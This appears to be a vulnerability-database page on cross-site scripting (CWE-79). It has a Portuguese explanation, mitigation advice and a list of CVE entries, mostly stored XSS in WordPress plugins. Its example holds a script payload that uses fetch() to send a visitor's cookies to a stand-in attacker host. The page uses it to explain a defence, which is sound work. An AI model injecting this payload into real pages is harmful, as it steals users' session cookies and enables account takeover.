Fallos del tipo CWE-79

29.593 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-85678MEDIUMAI Builder 2.4.1 - 2.7.7 - Contributor+ Stored XSS via Post JavaScriptEPSS 0.4%CVE-2026-86788MEDIUMHT Mega 3.2.0 - 3.2.5 - Contributor+ Stored XSS via Section Headline TagEPSS 0.4%CVE-2026-84021MEDIUMBold Page Builder < 5.9.8 - Contributor+ Stored XSS via bt_bb_button/bt_bb_headline/bt_bb_icon URLEPSS 0.4%CVE-2026-15253MEDIUMEasy Media Replace <= 0.2.0 - Author+ Stored XSS via Attachment TitleEPSS 0.4%CVE-2026-84899MEDIUMVikWidgetsLoader < 1.12.0 - Contributor+ Stored XSS via Gutenberg Block class_suffixEPSS 0.4%CVE-2026-83544MEDIUMGreenshift < 13.2.0 - Contributor+ Stored XSS via Block Animation customProps AttributeEPSS 0.4%CVE-2026-16559MEDIUMYMC Filter < 3.12.9 - Author+ Stored XSS via SVG Icon UploadEPSS 0.4%CVE-2022-42071MEDIUMOnline Birth Certificate Management System version 1.0 suffers from a Cross Site Scripting (XSS) Vulnerability.EPSS 0.4%CVE-2026-91011MEDIUMEWWW Image Optimizer < 8.7.7 - Author+ Stored XSS via Image Class Attribute Backreference ExpansionEPSS 0.4%CVE-2024-24904HIGHDell Secure Connect Gateway (SCG) Policy Manager, all versions, contain(s) a Stored Cross-Site Scripting Vulnerability. An adjacent network EPSS 0.4%CVE-2026-14318MEDIUMGiveWP < 4.16.3 - GiveWP Worker+ Stored XSS via Donation Form Template SettingsEPSS 0.4%CVE-2026-19697MEDIUMGutenKit < 2.5.0 - Author+ Stored XSS via SVG UploadEPSS 0.4%CVE-2024-51858MEDIUMWordPress Social Locker plugin <= 1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-49987MEDIUMA cross-site scripting (XSS) vulnerability in the component /management/term of School Fees Management System v1.0 allows attackers to execuEPSS 0.4%CVE-2024-2801MEDIUMShopkeeper Extender <= 3.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-84369MEDIUMSVGO: removeScripts incompletely sanitizes executable HTML in SVG foreignObject elementsEPSS 0.4%CVE-2025-29152HIGHCross-Site Scripting vulnerability in lemeconsultoria HCM galera.app v.4.58.0 allows an attacker to execute arbitrary code via multiple compEPSS 0.4%CVE-2026-90943CRITICALparallax filament-comments through 3.0.0 Stored XSS via Comment BodyEPSS 0.4%CVE-2023-6934MEDIUMLimit Login Attempts Reloaded <= 2.25.26 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-56882MEDIUMSage DPW before 2024_12_000 is vulnerable to Cross Site Scripting (XSS). Low-privileged Sage users with employee role privileges can permaneEPSS 0.4%